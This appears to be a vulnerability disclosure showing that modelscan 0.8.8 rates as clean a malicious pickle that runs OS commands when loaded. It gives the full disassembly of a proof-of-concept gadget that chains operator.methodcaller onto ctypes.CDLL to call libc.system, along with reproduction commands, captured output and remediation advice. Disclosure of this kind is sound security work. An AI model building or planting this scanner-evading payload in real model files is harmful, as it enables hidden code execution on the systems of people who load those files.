# modelscan 0.8.8 bypass: `operator.methodcaller` + `ctypes.CDLL` method-dispatch gadget (libc.system) scanned CLEAN while executing OS commands on pickle load **Target:** [`modelscan`](https://github.com/protectai/modelscan) — Protect AI **Version tested:** `0.8.8` (latest release on PyPI at test time; `pip index`/PyPI JSON `info.version == 0.8.8`) **Component:** `modelscan.scanners.PickleUnsafeOpScan` (pickle static opcode scanner) **Impact:** Malicious pickle / joblib model file is reported **"No issues found! 🎉"** (exit 0, zero issues) yet executes an arbitrary OS command (`libc.system(...)`) the moment the file is deserialized with `pickle.load` / `joblib.load`. Full remote code execution that defeats the scanner intended to prevent exactly this. **Class:** CWE-502 (Deserialization of Untrusted Data) / scanner allowlist bypass. --- ## Root cause `PickleUnsafeOpScan` is a **purely opcode/name-matching** scanner. It does not model dataflow or method dispatch — it only collects `(module, name)` pairs emitted by `GLOBAL` / `STACK_GLOBAL` opcodes and compares each pair against a static allowlist in `settings.py` (`DEFAULT_SETTINGS["unsafe_globals"]`). `modelscan/tools/picklescanner.py`: ```python def _build_scan_result_from_raw_globals(raw_globals, model, settings): ... for rg in raw_globals: global_module, global_name, severity = rg[0], rg[1], None for severity_name in severities: if global_module not in settings["unsafe_globals"][severity_name]: continue # <-- (2) ctypes never in the dict -> skipped filter = settings["unsafe_globals"][severity_name][global_module] if filter == "*": severity = severities[severity_name] break for filter_value in filter: if filter_value in global_name: # <-- (1) substring match against allowlist severity = severities[severity_name] break else: continue break ... ``` Two independent allowlist gaps combine into a self-contained RCE that references **no** denylisted global: **Gap 1 — `operator` allowlist is incomplete.** `settings.py` denylists only `operator.attrgetter` (and `builtins.getattr`) to block the attribute-reach primitive: ```python # modelscan/settings.py "operator": [ "attrgetter", # Ex of code execution: operator.attrgetter("system")(__import__("os"))("echo pwned") ], ``` The filter check is `if filter_value in global_name` — `"attrgetter"` is **not** a substring of `"methodcaller"` (nor of `"call"`), so `operator.methodcaller` and `operator.call` sail through. Yet `operator.methodcaller("system", arg)(obj)` performs **arbitrary method dispatch** — `obj.system(arg)` — which is every bit as dangerous as `attrgetter`, and modelscan already recognized attribute-reach on `operator` as RCE-worthy. **Gap 2 — `ctypes` is entirely absent from `unsafe_globals`.** Nothing in the `ctypes` module is flagged. `ctypes.CDLL("libc.so.6")` yields a live handle whose attributes resolve to arbitrary native libc functions (`system`, `execl`, ...). **The chain:** `operator.methodcaller("system", b"cmd")(ctypes.CDLL("libc.so.6"))` evaluates to `libc.system(b"cmd")`. The dangerous call target (`system`) is reached by **method dispatch on a live ctypes object at unpickling time** — it is never a `GLOBAL`/`STACK_GLOBAL` operand, so the opcode-level scanner only ever sees the two benign-looking globals `("operator","methodcaller")` and `("ctypes","CDLL")`, neither of which is on the denylist, and returns clean. --- ## PoC Hand-assembled protocol-4 pickle, **158 bytes** (`poc/model.pkl`, builder `poc/build.py`; identical bytes copied to `poc/model.joblib`). No dependency on any framework; uses only stdlib `operator` + `ctypes`. Gadget: `operator.methodcaller("system", CMD)(ctypes.CDLL("libc.so.6"))` where `CMD = b"touch /tmp/pwned_modelscan_methodcaller; id > /tmp/pwned_modelscan_methodcaller.out 2>&1"`. The command argument is pushed as a **`bytes`** object via `SHORT_BINBYTES` (opcode `C`), so `ctypes` marshals it correctly as `c_char_p` when invoking `system`. Disassembly (`pickletools.dis`): ``` 0: \x80 PROTO 4 2: \x8c SHORT_BINUNICODE 'operator' 12: \x8c SHORT_BINUNICODE 'methodcaller' 26: \x93 STACK_GLOBAL # operator.methodcaller 27: \x8c SHORT_BINUNICODE 'system' 35: C SHORT_BINBYTES b'touch /tmp/pwned_modelscan_methodcaller; id > /tmp/pwned_modelscan_methodcaller.out 2>&1' 125: \x86 TUPLE2 126: R REDUCE # mc = methodcaller("system", b"CMD") 127: \x8c SHORT_BINUNICODE 'ctypes' 135: \x8c SHORT_BINUNICODE 'CDLL' 141: \x93 STACK_GLOBAL # ctypes.CDLL 142: \x8c SHORT_BINUNICODE 'libc.so.6' 153: \x85 TUPLE1 154: R REDUCE # libc = CDLL("libc.so.6") 155: \x85 TUPLE1 156: R REDUCE # mc(libc) == libc.system(b"CMD") 157: . STOP ``` Reproduce: ```bash python3 poc/build.py # writes poc/model.pkl (158 bytes) + prints disassembly cp poc/model.pkl poc/model.joblib modelscan -p poc/model.pkl # => "No issues found! 🎉", exit 0 python3 -c "import pickle; pickle.load(open('poc/model.pkl','rb'))" # => command executed ``` --- ## Captured evidence (modelscan 0.8.8, Python 3.12.13 for scanner / 3.13.12 for load) ### (a) BYPASS — scanner reports clean ``` $ modelscan -p model.pkl Scanning .../poc/model.pkl using modelscan.scanners.PickleUnsafeOpScan model scan --- Summary --- No issues found! 🎉 # exit code 0 ``` JSON report (`-r json`) — proves the file was genuinely scanned, not skipped: ```json {"summary": {"total_issues_by_severity": {"LOW": 0, "MEDIUM": 0, "HIGH": 0, "CRITICAL": 0}, "total_issues": 0, "input_path": "model.pkl", "modelscan_version": "0.8.8", "scanned": {"total_scanned": 1, "scanned_files": ["model.pkl"]}, "issues": [], "errors": []} ``` Same file as `model.joblib` also scans clean, exit 0 (`No issues found! 🎉`). ### (b) EXECUTION — payload runs on load `pickle.load` (CPython 3.13.12): ``` load returned OK marker exists: YES id output: uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin) ``` `joblib.load`: ``` joblib.load executed payload: True ``` ### (c) NEGATIVE CONTROL — proves the scanner works and this gadget is the bypass A plain `os.system` `__reduce__` pickle IS flagged: ``` $ modelscan -p control_ossystem.pkl Total Issues: 1 Total Issues By Severity: - CRITICAL: 1 --- CRITICAL --- Unsafe operator found: - Severity: CRITICAL - Description: Use of unsafe operator 'system' from module 'posix' # exit code 1 ``` The scanner correctly flags a conventional payload (exit 1) but misses the method-dispatch gadget (exit 0) — the difference is precisely the two allowlist gaps. --- ## Suggested remediation - Add `ctypes` to `unsafe_globals` (`"ctypes": "*"`, or at minimum `CDLL`, `PyDLL`, `WinDLL`, `LibraryLoader`, `cast`, `memmove`, `memset`). - Add `methodcaller` and `call` to the `operator` denylist alongside `attrgetter` — any callable that performs attribute/method dispatch on an arbitrary object must be treated like `getattr`/`attrgetter`. - Structurally: a name-matching allowlist cannot see call targets reached through method dispatch on live objects. Consider flagging `REDUCE`/`STACK_GLOBAL` chains that construct callables from `operator`/`functools`/`ctypes` regardless of the top-level global name. --- ## Dedup note - Not an existing CVE. This is a **method-dispatch** gadget: `operator.methodcaller` performing `system` dispatch on a `ctypes.CDLL` object, invoking a real native libc function with an in-pickle `bytes` argument. The scanner sees only `(operator, methodcaller)` and `(ctypes, CDLL)` — both absent from `unsafe_globals`. - Distinct from prior `operator.attrgetter` discussions (that name IS denylisted; `methodcaller`/`call` are not, and the substring filter `"attrgetter" in "methodcaller"` is False). - Distinct from prior modelscan bypasses filed by this researcher (e.g. cprofile/timeit `runctx`, `posix_spawn`/`spawnv` pass_fds, `numpy.ctypeslib`, memo/multi-pickle divergence, legacy multi-pickle, savedmodel/keras-meta, h5 lambda, genops) — different modules and a different primitive (method dispatch via `operator.methodcaller` onto a `ctypes` foreign-function handle). The two allowlist gaps (incomplete `operator` list + wholly-absent `ctypes`) are each independently necessary and together sufficient.